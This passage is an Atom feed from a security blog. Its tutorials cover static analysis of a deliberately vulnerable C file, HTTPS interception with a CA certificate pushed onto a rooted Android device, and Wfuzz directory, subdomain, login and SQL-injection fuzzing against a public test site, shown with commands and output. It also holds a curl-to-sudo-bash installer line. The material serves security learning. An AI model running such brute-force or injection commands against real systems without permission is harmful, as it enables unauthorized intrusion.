<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>giantbranch&#39;s blog</title>
  
  <subtitle>忘掉掌声，按自己的方式，继续前行，跑过一生</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://www.giantbranch.cn/"/>
  <updated>2024-12-01T01:48:12.930Z</updated>
  <id>https://www.giantbranch.cn/</id>
  
  <author>
    <name>giantbranch</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Clang Static Analyzer</title>
    <link href="https://www.giantbranch.cn/2024/09/23/Clang%20Static%20Analyzer/"/>
    <id>https://www.giantbranch.cn/2024/09/23/Clang Static Analyzer/</id>
    <published>2024-09-22T16:00:00.000Z</published>
    <updated>2024-12-01T01:48:12.930Z</updated>
    
    <content type="html"><![CDATA[<h1 id="关于Clang-Static-Analyzer"><a href="#关于Clang-Static-Analyzer" class="headerlink" title="关于Clang Static Analyzer"></a>关于Clang Static Analyzer</h1><p>Clang 静态分析器是一款源代码分析工具，可查找 C、C++ 和 Objective-C 程序中的错误。它基于符号执行技术实现了路径敏感的程序间分析。</p><h1 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h1><p>这个直接安装llvm整套就可以获得了</p><p>可以通过<code>https://apt.llvm.org/</code> 或者 <code>https://mirrors.tuna.tsinghua.edu.cn/help/llvm-apt/</code> 指引安装，但是清华的源只含64位的包，需要大约140行的REPO_NAME，在deb后面添加<code>[arch=amd64]</code>，这样就只会下载64的包了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">root@vm:~# cat llvm.sh  | grep -n 64</span><br><span class="line">142:    REPO_NAME=&quot;deb [arch=amd64] $&#123;BASE_URL&#125;/$&#123;CODENAME&#125;/  llvm-toolchain$&#123;LINKNAME&#125;$&#123;LLVM_VERSION_STRING&#125; main&quot;</span><br></pre></td></tr></table></figure><p>我当时安装默认安装的时llvm-18，所以我添加了bin的路径到PATH</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">export PATH=&quot;$PATH:/usr/lib/llvm-18/bin&quot;</span><br></pre></td></tr></table></figure><p>我是放在<code>~/.bashrc</code>文件里面</p><h1 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h1><p>使用文件：</p><p><a href="https://github.com/hardik05/Damn_Vulnerable_C_Program/blob/master/dvcp.c" target="_blank" rel="noopener">https://github.com/hardik05/Damn_Vulnerable_C_Program/blob/master/dvcp.c</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">root@vm:~/cppaudit/testcode# scan-build clang -c dvcp.c </span><br><span class="line">scan-build: Using &apos;/usr/lib/llvm-18/bin/clang&apos; for static analysis</span><br><span class="line">dvcp.c:62:5: warning: Attempt to free released memory [unix.Malloc]</span><br><span class="line">   62 |                                 free(buff1);</span><br><span class="line">      |                                 ^~~~~~~~~~~</span><br><span class="line">dvcp.c:67:14: warning: Use of memory after it is freed [unix.Malloc]</span><br><span class="line">   67 |                                         buff1[0]=&apos;a&apos;;</span><br><span class="line">      |                                         ~~~~~~~~^</span><br><span class="line">dvcp.c:90:9: warning: Value stored to &apos;OOBR&apos; during its initialization is never read [deadcode.DeadStores]</span><br><span class="line">   90 |                         char OOBR = buff3[size3];</span><br><span class="line">      |                              ^~~~   ~~~~~~~~~~~~</span><br><span class="line">dvcp.c:91:9: warning: Value stored to &apos;OOBR_heap&apos; during its initialization is never read [deadcode.DeadStores]</span><br><span class="line">   91 |                         char OOBR_heap = buff4[size3];</span><br><span class="line">      |                              ^~~~~~~~~   ~~~~~~~~~~~~</span><br><span class="line">dvcp.c:104:16: warning: Potential leak of memory pointed to by &apos;buff4&apos; [unix.Malloc]</span><br><span class="line">  104 |                         int size4 = img.width * img.height;</span><br><span class="line">      |                                     ^~~</span><br><span class="line">dvcp.c:114:12: warning: Potential leak of memory pointed to by &apos;buff5&apos; [unix.Malloc]</span><br><span class="line">  114 |                                 &#125;while(buff5);</span><br><span class="line">      |                                        ^~~~~</span><br><span class="line">6 warnings generated.</span><br><span class="line">scan-build: Analysis run complete.</span><br><span class="line">scan-build: 6 bugs found.</span><br><span class="line">scan-build: Run &apos;scan-view /tmp/scan-build-2024-09-22-025530-11924-1&apos; to examine bug reports.</span><br></pre></td></tr></table></figure><p>可以看到默认是输出html报告到<code>/tmp/scan-build-XXX</code>目录，我们可以使用-o进行指定目录</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">常用选项</span><br><span class="line">-o &lt;directory&gt;：指定输出报告的目录。如果不指定，报告将默认保存在 /tmp 下的一个目录中。</span><br><span class="line">-v：增加输出的详细程度。</span><br><span class="line">-V：在构建完成后自动在浏览器中打开分析结果。</span><br></pre></td></tr></table></figure><p>打开html报告，比命令行的好看很多</p><p><img src="http://pic.giantbranch.cn/pic/1726974175799.png" alt><br>可以看到这个比上一篇用的cppcheck查找多多了，毕竟使用了符号执行技术</p><h1 id="官方建议"><a href="#官方建议" class="headerlink" title="官方建议"></a>官方建议</h1><ol><li>第一个Always Analyze a Project in its “Debug” Configuration</li></ol><blockquote><p>大多数项目都可以在启用断言的“调试”模式下构建。静态分析器会拾取断言来修剪不可行的路径，这在某些情况下可以大大减少工具发出的误报（虚假错误报告）的数量。<br>使用scan-build工具的–force-analyze-debug-code标志，该标志将自动启用断言。</p></blockquote><ol start="2"><li>调试 scan-build 时使用详细输出<blockquote><p>scan-build 使用一个 -v 选项来输出有关它正在做什么的详细内容；两个 -v 选项会输出更多信息。将 scan-build 的输出重定向到文本文件（确保重定向标准错误）对于提交针对 scan-build 或分析器的错误报告非常有用，因为我们可以看到传递给分析器的确切选项（和文件）。要获得更易懂的日志，请不要执行<strong>并行</strong>编译。</p></blockquote></li><li>通过 scan-build 运行 ‘./configure’ <blockquote><p>如果分析的项目使用 autoconf 生成的configure脚本，您可能需要通过scan-build运行configure脚本才能分析该项目。<br>例子<br>$ scan-build ./configure<br>$ scan-build –keep-cc make</p><p>configure也需要通过scan-build运行的原因是因为scan-build通过干预编译器来扫描源文件。目前，这种插入是通过scan-build临时将环境变量CC设置为ccc-analyzer来完成的。 ccc-analyzer程序就像一个假编译器，将其命令行参数转发给编译器以执行常规编译，并使用clang来执行静态分析。</p></blockquote></li></ol><ol start="4"><li>fdsf<h1 id="项目审计"><a href="#项目审计" class="headerlink" title="项目审计"></a>项目审计</h1></li></ol><p>假如是整个项目审计，可以</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">scan-build make -j4</span><br></pre></td></tr></table></figure><p>而对于cmake的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">scan-build cmake -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ ..</span><br><span class="line">scan-build make</span><br></pre></td></tr></table></figure><h1 id="CodeChecker"><a href="#CodeChecker" class="headerlink" title="CodeChecker"></a>CodeChecker</h1><p>根据llvm官方描述，CodeChecker 得到了更积极的维护，提供了与流行编译器的多个版本一起使用的启发式方法，并且它还附带了一个基于 Web 的 GUI，用于查看、过滤、分类和抑制结果。</p><p>官方安装指引：<a href="https://github.com/Ericsson/codechecker/#Install-guide" target="_blank" rel="noopener">https://github.com/Ericsson/codechecker/#Install-guide</a></p><p>犹豫我已经装过clang了，我自己修改了下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install cppcheck g++ build-essential curl gcc-multilib git python3-dev python3-venv python3-setuptools</span><br><span class="line"></span><br><span class="line"># Install nodejs dependency for web. In case of Debian/Ubuntu you can use the</span><br><span class="line"># following commands. For more information see the official docs:</span><br><span class="line"># https://nodejs.org/en/download/package-manager/</span><br><span class="line">curl -sL https://deb.nodesource.com/setup_16.x | sudo -E bash -</span><br><span class="line">sudo apt-get install -y nodejs</span><br><span class="line"></span><br><span class="line"># Check out CodeChecker source code.</span><br><span class="line">git clone https://github.com/Ericsson/CodeChecker.git --depth 1 ~/codechecker</span><br><span class="line">cd ~/codechecker</span><br><span class="line"></span><br><span class="line"># Create a Python virtualenv and set it as your environment.</span><br><span class="line"># NOTE: if you want to develop CodeChecker, use the `venv_dev` target instead</span><br><span class="line"># of `venv`.</span><br><span class="line">make venv</span><br><span class="line">source $PWD/venv/bin/activate</span><br><span class="line"></span><br><span class="line"># [Optional] If you want to use external authentication methods (LDAP / PAM)</span><br><span class="line"># follow the instructions in</span><br><span class="line"># docs/web/authentication.md#external-authentication-methods</span><br><span class="line"></span><br><span class="line"># Build and install a CodeChecker package.</span><br><span class="line">make package</span><br><span class="line"></span><br><span class="line"># For ease of access, add the build directory to PATH.</span><br><span class="line">export PATH=&quot;$PWD/build/CodeChecker/bin:$PATH&quot;</span><br><span class="line"></span><br><span class="line">cd ..</span><br></pre></td></tr></table></figure><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://clang.llvm.org/docs/ClangStaticAnalyzer.html" target="_blank" rel="noopener">https://clang.llvm.org/docs/ClangStaticAnalyzer.html</a><br><a href="https://clang-analyzer.llvm.org/" target="_blank" rel="noopener">https://clang-analyzer.llvm.org/</a><br><a href="https://apt.llvm.org/" target="_blank" rel="noopener">https://apt.llvm.org/</a><br><a href="https://mirrors.tuna.tsinghua.edu.cn/help/llvm-apt/" target="_blank" rel="noopener">https://mirrors.tuna.tsinghua.edu.cn/help/llvm-apt/</a><br><a href="https://github.com/Ericsson/codechecker/#Install-guide" target="_blank" rel="noopener">https://github.com/Ericsson/codechecker/#Install-guide</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;关于Clang-Static-Analyzer&quot;&gt;&lt;a href=&quot;#关于Clang-Static-Analyzer&quot; class=&quot;headerlink&quot; title=&quot;关于Clang Static Analyzer&quot;&gt;&lt;/a&gt;关于Clang Static An
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-09" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-09/"/>
    
    
      <category term="clang,代码审计,cpp" scheme="https://www.giantbranch.cn/tags/clang-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-cpp/"/>
    
  </entry>
  
  <entry>
    <title>Cppcheck的使用与VSCODE 插件</title>
    <link href="https://www.giantbranch.cn/2024/09/21/Cppcheck%E7%9A%84%E4%BD%BF%E7%94%A8%E4%B8%8EVSCODE%20%E6%8F%92%E4%BB%B6/"/>
    <id>https://www.giantbranch.cn/2024/09/21/Cppcheck的使用与VSCODE 插件/</id>
    <published>2024-09-20T16:00:00.000Z</published>
    <updated>2024-12-01T01:48:13.390Z</updated>
    
    <content type="html"><![CDATA[<h1 id="下载与安装"><a href="#下载与安装" class="headerlink" title="下载与安装"></a>下载与安装</h1><p>直接查看官网，Windows可以直接下载安装包，linux有相应的包管理器直接安装，比如ubuntu/debian的<code>sudo apt-get install cppcheck</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://cppcheck.sourceforge.io/</span><br></pre></td></tr></table></figure><p><strong>注意：要审核的代码需要放在全英目录，不能有英文</strong></p><h1 id="实战"><a href="#实战" class="headerlink" title="实战"></a>实战</h1><p>首先以单一文件为例<code>https://github.com/hardik05/Damn_Vulnerable_C_Program/blob/master/dvcp.c</code></p><p>这是一个专门写的有很多漏洞的文件，默认选项，结果只发现了一个未初始化的数组</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">PS D:\cppcheck_test&gt; cppcheck.exe .</span><br><span class="line">Checking dvcp.c ...</span><br><span class="line">dvcp.c:90:16: error: Uninitialized variable: buff3 [legacyUninitvar]</span><br><span class="line">   char OOBR = buff3[size3];</span><br><span class="line">               ^</span><br><span class="line">               ^</span><br></pre></td></tr></table></figure><p>接下来，启用所有规则，并允许误报，也还是只有这个error，多了一些风格、信息方面的输出</p><p>不过这个源码是给afl来fuzz的，里面有整数溢出漏洞，堆溢出，double free，use after free，除0错误，数组越界读写，还有堆耗尽，栈耗尽等漏洞</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="VSCODE-插件——Cppcheck-Plug-in"><a href="#VSCODE-插件——Cppcheck-Plug-in" class="headerlink" title="VSCODE 插件——Cppcheck Plug-in"></a>VSCODE 插件——Cppcheck Plug-in</h1><p>插件直接在商店安装即可</p><p>首先需要将cppcheck的安装路径添加到PATH环境变量即可在文件或者文件夹右键使用</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;下载与安装&quot;&gt;&lt;a href=&quot;#下载与安装&quot; class=&quot;headerlink&quot; title=&quot;下载与安装&quot;&gt;&lt;/a&gt;下载与安装&lt;/h1&gt;&lt;p&gt;直接查看官网，Windows可以直接下载安装包，linux有相应的包管理器直接安装，比如ubuntu/debian的
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-09" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-09/"/>
    
    
      <category term="cppcheck,代码审计" scheme="https://www.giantbranch.cn/tags/cppcheck-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>reqable的使用</title>
    <link href="https://www.giantbranch.cn/2024/09/03/reqable%E7%9A%84%E4%BD%BF%E7%94%A8/"/>
    <id>https://www.giantbranch.cn/2024/09/03/reqable的使用/</id>
    <published>2024-09-02T16:00:00.000Z</published>
    <updated>2024-12-01T02:00:00.013Z</updated>
    
    <content type="html"><![CDATA[<h1 id="下载安装"><a href="#下载安装" class="headerlink" title="下载安装"></a>下载安装</h1><p>到官网下载相应的平台即可，之后安装</p><h1 id="windows"><a href="#windows" class="headerlink" title="windows"></a>windows</h1><p>启动之后可以选择自动安装证书，之后开启系统代理，启动就可以抓包了</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/249d299c793a32a48bae3d755e76cfa9_1725353264741.png" alt><br>浏览器的话设置代理为系统代理即可被抓到</p><h1 id="安卓（Root）"><a href="#安卓（Root）" class="headerlink" title="安卓（Root）"></a>安卓（Root）</h1><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/5f3fdcf33270f3d2ff0aae964e2c14e9_1725353392160.png" alt></p><p>这个需要root的设备才行，usb连接，输入adb命令上传证书</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">adb root</span><br><span class="line">adb shell avbctl disable-verification     # 这个假如报错无关紧要，最重要下面两条不要报错</span><br><span class="line">adb remount</span><br><span class="line">adb push 2a891df1.0 /system/etc/security/cacerts/2a891df1.0</span><br></pre></td></tr></table></figure><p>手机也下载一个APP，就可以与电脑的联动了，点击这里手机可以扫描连接，之后点击小飞机按钮即可开启vpn</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/85d479381b96864fe5ecb2b681e54343_1725353441498.png" alt></p><h1 id="改包重发"><a href="#改包重发" class="headerlink" title="改包重发"></a>改包重发</h1><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/9dddac03b0a4d2846faade585ae8ffc8_1725353507441.png" alt></p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://reqable.com/zh-CN/" target="_blank" rel="noopener">https://reqable.com/zh-CN/</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;下载安装&quot;&gt;&lt;a href=&quot;#下载安装&quot; class=&quot;headerlink&quot; title=&quot;下载安装&quot;&gt;&lt;/a&gt;下载安装&lt;/h1&gt;&lt;p&gt;到官网下载相应的平台即可，之后安装&lt;/p&gt;
&lt;h1 id=&quot;windows&quot;&gt;&lt;a href=&quot;#windows&quot; clas
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-09" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-09/"/>
    
    
      <category term="reqable,https抓包" scheme="https://www.giantbranch.cn/tags/reqable-https%E6%8A%93%E5%8C%85/"/>
    
  </entry>
  
  <entry>
    <title>Wfuzz的使用</title>
    <link href="https://www.giantbranch.cn/2024/08/13/Wfuzz%E7%9A%84%E4%BD%BF%E7%94%A8/"/>
    <id>https://www.giantbranch.cn/2024/08/13/Wfuzz的使用/</id>
    <published>2024-08-12T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:50.958Z</updated>
    
    <content type="html"><![CDATA[<p>再fuzzing领域，最流行的是再二进制漏洞挖掘，后面也出来webfuzz，就是今天的wfuzz，其实有些在web领域算是暴力破解，但是说fuzz也没毛病。</p><h1 id="安装及简介"><a href="#安装及简介" class="headerlink" title="安装及简介"></a>安装及简介</h1><p>直接pip安装即可</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install wfuzz</span><br></pre></td></tr></table></figure><p>kali的话是自带了的</p><p>或者直接下载源码，字典什么的比较好找</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/xmendez/wfuzz.git</span><br></pre></td></tr></table></figure><p>官方文档：<a href="https://wfuzz.readthedocs.io/en/latest/" target="_blank" rel="noopener">https://wfuzz.readthedocs.io/en/latest/</a></p><p>Wfuzz的核心理念是用给定的payload去替换HTTP请求中的占位符，从而发现潜在的安全问题，例如可预测的认证、注入漏洞、路径遍历、跨站脚本等</p><h1 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h1><h2 id="目录爆破"><a href="#目录爆破" class="headerlink" title="目录爆破"></a>目录爆破</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-w wordlist               : Specify a wordlist file (alias for -z file,wordlist).</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ</span><br></pre></td></tr></table></figure><p>不过速度比御剑那些还是慢点，而且信息可读性低，没有汇总返回包200或者301等情况，可以使用–hc过滤掉404</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wfuzz -w wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">--hc/hl/hw/hh N[,N]+      : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)</span><br></pre></td></tr></table></figure><h2 id="子域爆破"><a href="#子域爆破" class="headerlink" title="子域爆破"></a>子域爆破</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">-c                        : Output with colors</span><br><span class="line">-Z 指定要在扫描模式下输入的 URL，并忽略任何连接错误</span><br><span class="line">--hc XXX   过滤掉不存在的子域名</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -c -Z -w wordlist/general/common.txt --hc XXX http://FUZZ.vulnweb.com</span><br><span class="line">********************************************************</span><br><span class="line">* Wfuzz 3.1.0 - The Web Fuzzer                         *</span><br><span class="line">********************************************************</span><br><span class="line"></span><br><span class="line">Target: http://FUZZ.vulnweb.com/</span><br><span class="line">Total requests: 951</span><br><span class="line"></span><br><span class="line">=====================================================================</span><br><span class="line">ID           Response   Lines    Word       Chars       Payload                           </span><br><span class="line">=====================================================================</span><br><span class="line"></span><br><span class="line">000000936:   200        73 L     260 W      4018 Ch     &quot;www&quot;                             </span><br><span class="line"></span><br><span class="line">Total time: 0</span><br><span class="line">Processed Requests: 951</span><br><span class="line">Filtered Requests: 950</span><br><span class="line">Requests/sec.: 0</span><br></pre></td></tr></table></figure><p>或者自己提供一个简单的列表来爆破</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -z list,www-testphp-admin-svn http://FUZZ.vulnweb.com/</span><br><span class="line">********************************************************</span><br><span class="line">* Wfuzz 3.1.0 - The Web Fuzzer                         *</span><br><span class="line">********************************************************</span><br><span class="line"></span><br><span class="line">Target: http://FUZZ.vulnweb.com/</span><br><span class="line">Total requests: 4</span><br><span class="line"></span><br><span class="line">=====================================================================</span><br><span class="line">ID           Response   Lines    Word       Chars       Payload                           </span><br><span class="line">=====================================================================</span><br><span class="line"></span><br><span class="line">000000001:   200        73 L     260 W      4018 Ch     &quot;www&quot;                             </span><br><span class="line">000000002:   200        109 L    388 W      4958 Ch     &quot;testphp&quot;                         </span><br><span class="line"></span><br><span class="line">Total time: 0</span><br><span class="line">Processed Requests: 2</span><br><span class="line">Filtered Requests: 0</span><br><span class="line">Requests/sec.: 0</span><br><span class="line"></span><br><span class="line"> /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 52: Empty reply from server</span><br></pre></td></tr></table></figure><h2 id="多重模糊测试（多位置模糊）"><a href="#多重模糊测试（多位置模糊）" class="headerlink" title="多重模糊测试（多位置模糊）"></a>多重模糊测试（多位置模糊）</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wfuzz -w wordlist/general/common.txt -w wordlist/general/common.txt -w wordlist/general/extensions_common.txt --hc 404 http://testphp.vulnweb.com/FUZZ/FUZ2ZFUZ3Z</span><br></pre></td></tr></table></figure><p>每个字典对应后面的FUZZ 、FUZ2Z 和 FUZ3Z</p><h2 id="登录暴力破解"><a href="#登录暴力破解" class="headerlink" title="登录暴力破解"></a>登录暴力破解</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-d postdata               : Use post data (ex: &quot;id=FUZZ&amp;catalogue=1&quot;)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -z file,wordlist/others/common_pass.txt -d &quot;uname=FUZZ&amp;pass=FUZZ&quot;  --hc 302 http://testphp.vulnweb.com/userinfo.php</span><br><span class="line">********************************************************</span><br><span class="line">* Wfuzz 3.1.0 - The Web Fuzzer                         *</span><br><span class="line">********************************************************</span><br><span class="line"></span><br><span class="line">Target: http://testphp.vulnweb.com/userinfo.php</span><br><span class="line">Total requests: 52</span><br><span class="line"></span><br><span class="line">=====================================================================</span><br><span class="line">ID           Response   Lines    Word       Chars       Payload                           </span><br><span class="line">=====================================================================</span><br><span class="line"></span><br><span class="line">000000044:   200        119 L    448 W      5969 Ch     &quot;test - test&quot;                     </span><br><span class="line"></span><br><span class="line">Total time: 0</span><br><span class="line">Processed Requests: 52</span><br><span class="line">Filtered Requests: 51</span><br><span class="line">Requests/sec.: 0</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -w wordlist/general/common.txt -d &quot;uname=FUZZ&amp;pass=FUZZ&quot;  --hc 302 http://testphp.vulnweb.com/userinfo.php</span><br><span class="line">********************************************************</span><br><span class="line">* Wfuzz 3.1.0 - The Web Fuzzer                         *</span><br><span class="line">********************************************************</span><br><span class="line"></span><br><span class="line">Target: http://testphp.vulnweb.com/userinfo.php</span><br><span class="line">Total requests: 951</span><br><span class="line"></span><br><span class="line">=====================================================================</span><br><span class="line">ID           Response   Lines    Word       Chars       Payload                           </span><br><span class="line">=====================================================================</span><br><span class="line"></span><br><span class="line">000000830:   200        119 L    448 W      5985 Ch     &quot;test - test&quot;                     </span><br><span class="line"></span><br><span class="line">Total time: 44.66879</span><br><span class="line">Processed Requests: 951</span><br><span class="line">Filtered Requests: 950</span><br><span class="line">Requests/sec.: 21.29003</span><br></pre></td></tr></table></figure><h2 id="Cookie-模糊测试"><a href="#Cookie-模糊测试" class="headerlink" title="Cookie 模糊测试"></a>Cookie 模糊测试</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-b cookie                 : Specify a cookie for the requests</span><br></pre></td></tr></table></figure><p>带上cookie去请求</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -z file,wordlist/general/common.txt -b &quot;login=test%2Ftest&quot; --hc 404 http://testphp.vulnweb.com/FUZZ</span><br></pre></td></tr></table></figure><p>fuzz cookie</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wfuzz -z file,wordlist/general/common.txt -b login=FUZZ http://testphp.vulnweb.com/</span><br></pre></td></tr></table></figure><h2 id="HEADER模糊测试"><a href="#HEADER模糊测试" class="headerlink" title="HEADER模糊测试"></a>HEADER模糊测试</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">$ wfuzz -w wordlist/Injections/SQL.txt -H &quot;X-Forwarded-By: 127.0.0.1FUZZ&quot; http://testphp.vulnweb.com/</span><br><span class="line">********************************************************</span><br><span class="line">* Wfuzz 3.1.0 - The Web Fuzzer                         *</span><br><span class="line">********************************************************</span><br><span 